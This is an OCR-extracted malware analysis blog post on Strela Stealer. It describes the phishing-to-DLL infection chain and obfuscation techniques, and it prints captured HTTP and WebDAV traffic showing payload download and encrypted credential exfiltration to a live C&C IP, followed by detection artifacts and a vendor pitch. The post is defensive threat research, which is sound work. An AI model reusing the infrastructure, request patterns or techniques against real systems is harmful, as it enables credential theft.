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Strela Stealer, a sophisticated information-stealing malware, is designed to exfiltrate sensitive user credentials,
primarily targeting email and web browser data. This malware spreads through phishing emails containing
malicious attachments, typically disguised as legitimate documents. Once executed, Strela Stealer extracts stored
login credentials from critical end-user applications and web browsers such as Google Chrome, Edge, and Firefox.
Strela Stealer then transmits the stolen information to remote Command-and-Control (C&C) servers controlled by

threat actors, enabling further cyberattacks such as account takeovers and financial fraud.

The most alarming aspect of Strela Stealer is its ability to evade detection using anti-analysis techniques. This
program often employs obfuscation, sandbox evasion, and process injection to avoid security software. Its
lightweight payload allows it to execute quickly without raising suspicion, underlining the urgency of the threat it

poses.

Recent variants of the Strela Stealer have incorporated encrypted data transmission and fileless execution
techniques, making them even more challenging to detect and analyze. This research focuses mainly on the Strela
stealer’s network communication channel to dissect the network patterns. This underscores the importance of

continuous research and analysis in the face of evolving threats.

A Deeper Dive into a Strela Stealer Infection and Binary

Let’s examine the complete infection process of the Strela Stealer to get a basic understanding of the entire attack

campaign. Figure 1 presents the complete attack flow:
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Figure 1: Strela Stealer Complete Attack Flow

The overall infection process of Strela Stealer is as follows:

. o The Strela Stealer malware campaign starts via a phishing or spam email that contains an archive
file(.zip). A JavaScript file is dropped into the system once the victim downloads and opens the
archive.

o The JavaScript file employs advanced obfuscation techniques, such as string substitution and
variable renaming. Upon execution, it executes the script, which invokes the PowerShell code

embedded inside it. Figure 2 highlights a heavily obfuscated JavaScript file.

function gdhpbmiz() |
ejanjour = this;
wppc] = EERGOUE(xgwer + evogd + jirzfxde + wgtripkegl:
wppc] (

Figure 2: JavaScript Infection File
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e The JavaScript code uses an obfuscation mechanism utilizing random variables and function names, and
the associated strings are dynamically generated. The function “wppcj” also dynamically accesses
properties of the reference object, making the JS code resistant to simple static analysis.

 After that, a decoy PDF containing a blurred image file was fetched from the remote server. However, a
connection request was triggered to the WebDAYV server to fetch the actual Strela Stealer payload in the

form of a malicious Dynamic Link Library (DLL).

This research report discusses the details of network communication later. Next, let’s examine the basic

information of the Strela Stealer payload.

. o The 64-bit DLL file (Streal Stealer) downloaded from the WebDAV server is heavily obfuscated.

The DLL file was analyzed using the Detect-It-Easy (DIE) tool, which allows robust file inspection
using signatures and heuristics to dissect the internals of various files.

o The .data and .text sections were packed (ss figure ). The .data and .txt sections of a DLL file serve
different purposes. The .data section (See Figure 3) stores initialized global and static variables,
making it writable for maintaining runtime data. The .text section contains the executable code

(machine instructions) for the DLL functions, making it read-only to prevent modification.

PE64 ¥ | | Sections v 00000000 00069e00 100 |5
7.93425 packed(99%)
Entropy Bytes
Regions
Offset™ Size Entropy Status Name
Filter Filter Filter Filter Filter
0000000000000000 0000000000000400 1.74908 not packed PE Header
0000000000000400 0000000000005800 0.82128 packed Section(0) [".text"]
0000000000005c00 0000000000000200 1.99848 not packed Section(l)['.rdata'l
0000000000005€00 0000000000063a00 7.93665 packed Section(2) ['.data']
0000000000069800 0000000000000200 0.44850 not packed Section(3)['.pdata']
0000000000069a00 0000000000000200 0.33378 not packed Section(4)['.00cfg']
0000000000069c00 0000000000000200 0.49211 not packed Section(5)['.reloc']
Diagram
V| Grid
8
7 ]
6
[
Figure 3: Strela Stealer DLL File: Packed Sections
. o Further, the entropy of the .data section was calculated, which was 7.9. Calculating the entropy of a

section in a binary file (e.g., a DLL or EXE) helps determine randomness and detect packed or
obfuscated code. Entropy is typically measured using Shannon’s formula, where values close to 0
indicate high redundancy (e.g., text data), and values near 8 suggest high randomness (e.g.,

encrypted or compressed data). The figure 4 shows the encrypted content in the data section.
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Hex Strings

Address 000102030405060708090a0b0c0d0e0f |[Symbols
00000001:80008000 @3006004b436448434c597478784f51 DO..KCdHCLthxOQ
00000001:80008010 6d4c415467754a7046557a4770657a66 |mLATgudpFUzGpezf
00000001:80008020 6970567a47505978644944525a416758 | ipVzGPYxdIDRZAgX
00000001:80008030 464b51617674555841466c736253727a | FRQavtUXAFlsbSrz
00000001:80008040 424251517974436c484£7852786e7574 | BBQRYtClHOxXRxnut
00000001:80008050 63526e51556e4259744c41657a6b734f | cRnQUNBYtLAezksO
00000001:80008060 4£f4f6d76474c676b6£f714d4d5a575774 | OOmvGLgkogMMZWWt
00000001:80008070 634d4£495951666c717a4£73477a6e63 | cMOIYQflgzOsGznc
00000001:80008080 7056686c48556b706e62415453565053 | pVhlHUKpnbATSVPS
00000001:80008090 57674£7851706£4b735a724c42467965 | WgOxQpoKsZrLBFye
00000001:800080a0 574977414b57486b6£74775777666e76 |WIwAKWHkotwWwEnv
00000001:800080p0 574f6a766748614975674646567a6c53 | WOjvgHaIugFFVzls
00000001:800080c0 536764644563656b5a6b66674£635a75 | SgddEcekZkfgOcZu
00000001:800080d0 6c597952517162656b67785a664c5a42 | 1YyRQgbekgxZflLZB
00000001:800080e0 67475a455179705551476c4543505153 | gGZEQYpUQGLECPQS

Figure 4: Encrypted Content in the Data Section

. o The DLL has a single export function, DIIRegisterServer, which is invoked by the Regsvr32 utility.

Like many info-stealers, Strela Stealer modifies the export section’s Name field to a specific DLL
(XJDCGMPMONUME.II) in the PE header to mislead analysts and detection tools. The malware

still runs with its actual filename. Still, the export name is just a deception. See figure 5.

Name Offset Type Value
Characteristics 0000 DWORD 00000000
TimeDateStamp 0004 DWORD 00000000 1970-01-01_05:30:00
MajorVersion 0008 WORD 0000
MinorVersion 000a WORD 0000
Name 000c DWORD 00007168 Hex
Base 0010 DWORD 00000001
NumberOfFunctions 0014 DWORD 00000001
NumberOfNames 0018 DWORD 00000001
AddressOfFunctions 001lc DWORD 0000717b Hex
AddressOfNames 0020 DWORD 0000717f Hex
AddressOfNameOrdinals 0024 DWORD 00007183 Hex
V| Show valid
fdinal ~ RVA Name
Filter |[Filter |[|[Filter ilter

0001 000010.. 000071.. D11RegisterServer

Figure 5: Modified Name Field in the Export Section

LXJDCGMPMONUMF .d11

Section(l) ['.rdata']
Section(1l) ['.rdata']
Section(l) ['.rdata']

o The sequence of bitwise operations and NOT/XOR/AND patterns is commonly used in anti-debugging

techniques, which we can also see in the Streal Stealer payload (DLL file). The combination of anti-

debugging and control flow flattening makes analysis more complicated. The control flow flattening in the

context of code obfuscation, is a technique that transforms a program’s control flow by placing all code
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blocks within a single, infinite loop controlled by a switch statement, making it harder for reverse

engineers to understand the program’s logic. Figure 6 reflects the same technique in use by Strela Stealer

payload.

loc_180083CEA4:

bl ; Set Byte if Not Less or Equal (ZF=0 & SF=0F)

mowv réb, [ri2z+2]
mov [Fr15+2], rE8b
mowv esi, es:Flink
mowv rled, cs:n9
lea ecx, [rsi-1] ; Load Effective Address
imul ecx, esi ; Signed Multiply
mow eax, ecx
not eax ; One's Complement Negation
and eax, OFFFFFFFEh ;: Logical AND
xor ecx, 1 ; Logical Exclusive OR
or ecx, eax ; Logical Inclusive OR
mov eax, ecx
not eax : One's Complement Negation
and eax, 9D44647Fh ; Logical AND
and ecx, 62BB9BBeh ; Logical AND
o = i sive OR
|  xor ecx, 62BB9B8Gh ; Logicall Exclusive OR

setz rgb ; set Byte if Zero (ZF=1)
setnz rilb ; Set Byte if Mot Zero (ZF=0)
cmp ried, 2 ; Compare Two Operands
setnle
cmp ried, @Ah ; Compare Two Operands
setl al ; Set Byte if Less (SF!=0F)
mov edx, eax

[ xor dl, r1lb ;: Logidal Exclusive OR
and dl, al ; Logical AND
and bl, r9b ; Logical AND
and al, rl11lb ; Logical AND
ot 3 3
test dl, al ; Logical Compare
jnz short loc_18@8e@32DBE ; Jump if Not Zero (ZF=8)

Figure 6: Control Flow Flattening : Anti Debugging Techniques

Upon successful execution, Strela Stealer compromises the end-user system and extracts sensitive data to transmit

to the C&C server. For example, it extracts user profiles from Thunderbird and Outlook clients. If these files are

present, it encrypts them and sends them via HTTP request to the C&C server. The user agent of the HTTP request

is set to a unique identifier for the host which is mainly the volume serial id of the compromised system.

Overall, the key observations related to obfuscation techniques deployed by the Strela Stealer malware are listed

below:

e Stack manipulation & dynamic allocation

e Opaque predicate-based flow control

o Using not, and, or, xor on ecx and eax repeatedly modifies values but might not have real effects.

o setz, setnz, setnle, setl generate flag-dependent values, which can confuse decompilers.

« Infinite loop for execution flow redirection
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Next, you will learn about the network communication of the Strela Stealer malware.
Dissecting the Network Communication

In this section, you will learn the internal details of the network communication, from the infection process to the
C&C communication. Before discussing the network communication artifacts of Strela Stealer malware, it is

essential to understand the relation between HTTP and WebDAV.

WebDAYV (Web Distributed Authoring and Versioning) extends the standard HTTP protocol, enabling advanced
file management operations over the web. While traditional HTTP requests primarily handle resource retrieval
(GET) and data submission (POST), WebDAYV introduces additional HTTP methods such as PROPFIND,
PROPPATCH, MKCOL, and LOCK, allowing users to create, modify, move, and manage files on remote servers.
WebDAV’s unique selling point is its support for collaborative file editing, remote storage, and versioning, making
it a powerful tool for cloud-based services. However, since WebDAV operates over HTTP, it inherits the same

security concerns and is abused by attackers for hosting malicious files to spread infections on a scale.

First, the targeted users receive a phishing email (or spam). The phishing email contains a compressed zip file. As
discussed earlier, the zip file contains a JavaScript file. The attacker has built-in methods to force the user or
trigger an automated function to execute that JS file, which executes a potential PowerShell command in the
backend to fetch the malicious PDF file from the remote server. However, the communication can be noticed in
the network. In this case, the malicious PDF was hosted at a remote location “http://193.143.1.205/invoice.php.”
See below the HTTP GET request issued to fetch the malicious PDF file as shown in figure 7.
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GET /invoice.php HTTP/1.1

User-Agent: Mozilla/5.@ (Windows NT; Windows NT 10.0; de-DE) WindowsPowerShell/5.1.26100.2161
Host: 193.143.1.205

Connection: Keep-Alive

HTTP/1.1 200 0K

Server: nginx/1.22.1

Date: Mon, I B:49:38 GMT
Content-Type: application/pdf
Transfer-Encoding: chunked
Connection: keep-alive
X-Frame-Options: SAMEORIGIN

1f6a
%PDF-1.7
%unnn
1 0 obj

<< /Pages 3 @ R /Type /Catalog >>

endobj

2 0 obj

<< /Type /0bjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>

stream

X.3V0...Q.w./.+Q0OT...L)V.VaQeP.R.U...,HU..HLO-V..... %0.mendstream

endobj

4 0 obj

<< /Annots [ ] /Contents [ 5 @ R ] /MediaBox [ @ @ 595 841 ] /Parent 3 @ R /Resources << /ExtGState << >>
/Font << >> /X0Object << /Image-7098480789 6 @ R >> >> /Type /Page >>

endobj

5 @ obj

<< /Filter /FlateDecode /Length 52 >>

stream

X.+.2T0.B..... 5.4.3-Lp....MLO.57..0.00..Tp..

+...M..endstream

endobj

6 @ obj

<< /BitsPerComponent 8 /ColorSpace /DeviceRGB /Filter /FlateDecode /Height 841 /Subtype /Image /Type /XObj
ect /Width 595 /Length 121594 >>

stream
XoweaWeGannun {..]okiesooavma &nn s Mreeeus M.I. 2olaPesollocoso ol o080 l1%s e 0200 8] 2 c oo soocooao WalNaooc
(P oo PN o PN PN o N e (PN o PN o o PN o PN N e e PN e N PN o PN o PN T

Figure 7: PDF File Fetched from the Remote Server

The malicious PDF file downloaded acts as a decoy and triggers additional network requests to fetch the Strela

Stealer payload to the WebDAYV server. See below for the network communication.

At first, the OPTIONS request was sent to the remote C&C server. Generally, the end clients use the OPTIONS
method to query a web server about the supported HTTP methods and communication options for a given
resource or server. At first, the installed payload triggers an OPTIONS request (see figure 8) to enumerate the
support actions by the remote web server hosting the Strela stealer DLL file. The supported methods are available

if you check the “Allow” header.

Page 7 of 13



https://www.aryaka.com /blog/strela-stealer-malware-analysis/

OPTIONS / HTTP/1.1
Connection: Keep-Alive
User-Agent: DavClnt
translate: f

Host: 193.143.1.205:8888

HTTP/1.1 20@ OK

Server: nginxf1.22.1
Date: Mon, 3:49:40 GMT

Content-Length: @

Connection: keep-alive

Allow: OPTIONS, LOCK, DELETE, PROPPATCH, COPY, MOVE, UNLOCK, PROPFIND
Dav: 1, 2

Ms-Author-Via: DAV

Figure 8: OPTIONS Request Sent to the Remote Server

After that, the PROPFIND request was sent. The PROPFIND method, part of the WebDAV protocol, is often
exploited in malicious communication to gather information from remote web servers. Unlike standard HTTP
methods like GET or POST, PROPFIND allows attackers (or malicious code) to retrieve directory structures,
metadata, and file properties that may reveal hidden or restricted resources. In the case of Strela stealer, once the
payload is successfully executed, the HTTP request is triggered using the PROPFIND method to retrieve the DLL
file from a remote web server with WebDAV enabled. See the PROPFIND request as pshown in the figure 9.

PROPFIND / HTTP/1.1

Connection: Keep-Alive

User-Agent: Microsoft-WebDAV-MiniRedir/10.0.26100
Depth: @

translate: f

Content-Length: @

Host: 193.143.1.205:8888

HTTP/1.1 207 Multi-Status
Server: nginx/1.22.1

Date: Mon, C " »3:49:44 GMT
Content-Type: text/xml; charset=utf-8
Content-Length: 520

Connection: keep-alive

<?xml version="1.0" encoding="UTF-8"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>/</D:href><D:props
tat><D:prop><D:supportedlock><D: lockentry xmlns:D="DAV:"><D:lockscope><D:exclusive/></D: lockscope><D: lockt
ype><D:write/></D: locktype></D: lockentry></D:supportedlock><D:getlastmodified>Fri, 20 Dec 2024 14:11:42 GM

T</D:getlastmodified><D: resourcetype><D:collection xmlns:D="DAV:"/></D:resourcetype><D:displayname></D:dis
playname></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>

Figure 9: PROPFIND Request Sent to the Remote WebDAV Server

After the above network communication, another PROPFIND request was sent. In the response, you can notice
“<D:href>/281681957614368.dll</D:href>" highlighting the link on the remote server hosting the actual Strela

Stealer with some additional properties associated with the DLL file. See figure 9.
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PROPFIND /281681957614368.d11 HTTP/1.1
Connection: Keep-Alive

User-Agent: Microsoft-WebDAV-MiniRedir/10.0.26100
Depth: @

translate: f

Content-Length: @

Host: 193.143.1.205:8888

HTTP/1.1 207 Multi-Status

Server: nginx/1.22.1

Date: Mon, I B:49:45 GMT
Content-Type: text/xml; charset=utf-8
Content-Length: 682

Connection: keep-alive

<?xml version="1.0" encoding="UTF-8"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>/281681957614368.d
1l</D:href><D:propstat><D: prop><D: supportedlock><D: lockentry xmlns:D="DAV:"><D: lockscope><D:exclusive/></D
:lockscope><D: locktype><D:write/></D: locktype></D: lockentry></D:supportedlock><D:resourcetype></D:resource
type><D:displayname>281681957614368.d11</D:displayname><D:getcontentlength>433664</D:getcontentlength><D:g
etlastmodified>Mon, 10 Feb 2025 23:48:25 GMT</D:getlastmodified><D:getcontenttype>application/octet-stream
</D:getcontenttype><D:getetag>"1822fda86ff010c069e00"</D:getetag></D:prop><D:status>HTTP/1.1 200 OK</D:sta
tus></D:propstat></D: response></D:multistatus>

Figure 9: PROPFIND Request Sent to Check the Information about the DLL File

The malicious file “281681957614368.d11” was fetched using an HTTP GET request from the remote server as

shown in the figure 10.

GET /281681957614368.d11 HTTP/1.1

Cache—Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

User-Agent: Microsoft-WebDAV-MiniRedir/10.0.26100
translate: f

Host: 193.143.1.205:8888

HTTP/1.1 200 OK

Server: nginx/1.22.1

Date: Mon, CC23:49:46 GMT
Content-Type: application/octet-stream
Content-Length: 433664

Connection: keep-alive

Accept-Ranges: bytes

Etag: "1822fda86ff010c069e00"

Last-Modified: Mon, @ 23:48:25 GMT

/5% 0 noocooocooooooooooo @usuoococoooooooocooaooooo000o0a00a0 *ooooooooo !..L.!This program cannot be run
in DOS mode.$..PE.sdiasuasQunnsasnnns™ sunaaXaouBausuue suunnsnnnsssnnsasnnsasssasssnasannsssnnnssnansnans
i e asssEsrEssEEEEEEEsEssssssEEEEEEEEEEns @3)oolooos0000000000000000000 L Jrsssssssssssnan
.................... P=0@cc-00o0co0ccoccoccoonocnooc000o0000a00a0s 000 oo L@ Vi e Xe ot nnnannannnnns
[MeERo cooooo@oanoooo Nooaoooocaoooooa @..@.data. ooocooaBooo®0ooonoooo0oooao @ pdata..0.....iiuennannns
........... @ 0@ WBET )2 0®ooao0cocoonoonooocooooaoooa0 @ @ M@U@Ec0 poooooooocooocooaosooococooo@oalEococoocozan

.............................................................................. fosooooooBeocooa@Hd
567]....s % 2% . m! s Ulccooo cocooooac _.%Ca@ 5CRu.cvve=/uun

sooWoooos T ]

........... fooooooooooooibollcacoocaaiboccooac®Boaoaooaibos coo3
Baocoooooooo veeasBNMIM. L. noooooooooo0=oooo

co@ocooos I - U P S ) PR - P Booosoo Docoooo AcCalAoooooocoooa 9% "

06D000% coocoooc C.A%. .x 2D ukaAnaaAn. A A

...D0.4.A..E .DO.D..8...vuiuuns taoocaooa AcGo/Acocoooonacaooaa 0llocofocooos A..

aaALL P ) D .DO...4...U20.0uuunss Pavuas | ) Divienns [oColdoocooccoooooooo

oAacoooo A.. YA

noo o ooooo@FooallenBooacnoocs@ooolPooonnaoaonos0008m00®r080000Poo000a0a0008W0aa%0o ko :Bcoloooo coo
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Figure 10: Streal Stealer File Fetched from the Remote Server

Next, the PROPPATCH request was issued as shown in the figure 11. After fetching the Though not a standard
HTTP method like PROPFIND, the PROPATCH method conceptually refers to patching or modifying
resources on a WebDAV-enabled server. In other words, this method alters or adds properties to resources on a
web server. After executing the successful PROPFIND request, the malicious payload sends the PROPFIND

request to the remote server to share specific updates about the previously downloaded DLL file, which could be

file properties.

PROPPATCH /281681957614368.d11 HTTP/1.1
Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Content-Type: text/xml; charset="utf-8"
User-Agent: Microsoft-WebDAV-MiniRedir/10.0.26100
translate: f

Content-Length: 215

Host: 193.143.1.205:8888

<?xml version="1.0" encoding="utf-8" ?><D:propertyupdate xmlns:D="DAV:" xmlns:Z="urn:schemas-microsoft—com
:"><D:set><D:prop><Z:Win32FileAttributes>00000080</Z:Win32FileAttributes></D:prop></D:set></D:propertyupda
te>

HTTP/1.1 500 Internal Server Error

Server: nginx/1.22.1

Date: Mon, )23:50:17 GMT

Content-Type: text/plain; charset=utf-8

Content-Length: 22

Connection: keep-alive

X-Content-Type—Options: nosniff

Internal server error

Figure 11: PROPPATCH Request Sent to Remote WebDAV Server

You have noticed the HTTP header “Translate: f” in all the above WebDAV requests. This header signals to a
WebDAV server that the client wants to retrieve a resource’s source (or unprocessed) content rather than the
processed or output content. It is anticipated that once the DLL file is successfully installed on the compromised
system. Once the strela stealer becomes active, it transmits the stolen information using an HTTP POST request as
shown in the figure 11. The HTTP POST body contains encrypted data (stolen information) sent over the network
to the remote C&C server “193.143.1.205”
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POST /fup.php HTTP/1.1
User-Agent: 229BCBD7
Host: 193.143.1.2@5
Content-Length: 298835
Cache-Control: no-cache

%~) 89dN.CSOFzI. ™. ..U UZCD. . 1i...V@\W.AP.DM
TXH.

«\LA.P....(QPBB\AAKU

1.

-.W . .F1AYFeWRAYF. . EM.B@. . . XS. KU

o 1. . XTK. 1YBGA = 0B JTARSE[...].I.D.PKTX.QQL@.ZGYD. ...N.E.JXIR".S. [.H.”. . .BM. . VLZR\WLFF. .K
V._"XU_\F@').X..]..FBl.GIL[RtZHX..... J.CLDAB] . V#I[.
«oY.F...[V_OGFVIa.]GCX.W....p] wSU#""'p"ysvxSttlwvsrlu!Osl’ /y\w~ZCQ+s.0Q"%. k
ySe.. R ttsTtP HpfK..B.P[~f7]SY% .I8R..|.YT.e\_R.N%0.Z.[...R\V@.B.W.6.B.0.E]F.." .pagqopPytlx'srilvsts$sss
#''s.z5pz'Dr~.U.w|y, ztJ}RY. }R. tb"E7 ] *. . T.P2ul.P | tlzvU.Y.W~.5.TYYv].. .E6Z. -P$ ~k.EB. [*Hy[{-5.ha3
KEeVWF@. . +CV.5~/N..J, z.n5aG.yE/iPg.+. .k. |[rJ.tP.)@ [.\.{C. |DNOB.aXcC .ptqlpelB.B.6.GU....Y..Q..WS..0.
H.R..L

K.V.Ql.1..W..Z..J.H.PCUCKCH.” ..M. _VnEWTF.VG.SQU.P.Q..0.....FZEQ(YFYL.WW.
ve25.U.275.P.H.M

XP}WDADBF . {1LW.WW.

...].P.SPQP.H.M

XP~cDWW. .U. . @.QpBB\AW. ._.ND.G.J7NW.PQ. .Q5_~0H.PCZ.KCYRV™ \.\

E. .T.\...
@YAK.I.DPF..... 1@YYSXWG.G[....L.

ZX. .R@LN «+20.FC.RSY G.G[....L.

ZX. .R@W~N _ @ ~BPX[.g7~@\.D.TH.L.PGCWZWuDQ. \...D. .1 VAFE
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Figure 11: HTTP POST Request Containing Stolen Data Sent to Remote Server
Network Threat Intelligence: Important Artifacts

After carefully analyzing the network communication, we discuss several significant threat-related artifacts that

could be used in AI/ML modeling or building signatures. See below for more details:

e The “Host:” header contains the IP address and port number. For example, “Host: 193.143.1.205”, “Host:
193.143.1.205:8888”, etc., values were seen. No DNS request (query) will be noticed in the network
communication because no hostname is used. The IP address and port combination are hard-coded or
fetched from the configuration file.

o In the first step, when an HTTP request was issued to “invoice.php” to fetch the PDF file, the user-agent
was “Mozilla/5.0 (Windows NT; Windows NT 10.0; de-DE) WindowsPowerShell/5.1.26100.2161”. After
that, multiple WebDAYV requests were issued continuing the user-agent as “Microsoft-WebDAV-
MiniRedir/10.0.2610” to perform operations on the stored data, which was the DLL file. After the
malicious DLL file was downloaded and installed on the end-user system, another HTTP request was
triggered for the/”ip.php” component hosted on the same server. If you look at the HTTP request
performing data exfiltration, you will notice that the user-agent has “2298CB07” value. The continuous
change of user-agent strings also reflects the different stages of an attack, in this case, from initial infection
to data exfiltration, including the updating of remote resources.

e During data exfiltration, the HTTP POST body contains encrypted data, a widely known technique
attackers use when the HTTPS channel is not used for exfiltrating sensitive data from compromised
systems. This helps the attackers transmit sensitive information using custom encrypted payloads as an

HTTP request.

How does Unified SASE as a Service help mitigate Strela Stealer Infections?

Page 11 of 13



https://www.aryaka.com /blog/strela-stealer-malware-analysis/

A Unified SASE framework integrates network security and zero-trust access controls to protect organizations
against data exfiltration triggered by threats like Strela Stealer. SASE provides centralized visibility and
monitoring, allowing security teams to detect anomalies. Our built-in security features, such as advanced IDPS/
SWG and others, have intelligence modules to discover the Strela Stealer threat. With that intelligence, SASE’s
content inspection capabilities prevent sensitive data from being exfiltrated via HTTP. It can inspect outbound
HTTP requests, detect patterns of sensitive information (e.g., credit card numbers, intellectual property, or

personal identifiers), and automatically block unauthorized transmissions.
Appendices
A. MITRE ATT&CK Mapping: TTPs

e T1003: Credential Dumping

e T1041: Exfiltration Over C2 Channel

e T1041: Exfiltration Over Command-and-Control Channel
e T1059.003: Windows Command Shell

e T1071: Standard Application Layer Protocol

e T1566.001: Spear Phishing Attachment

e T1574.002: DLL Side-Loading
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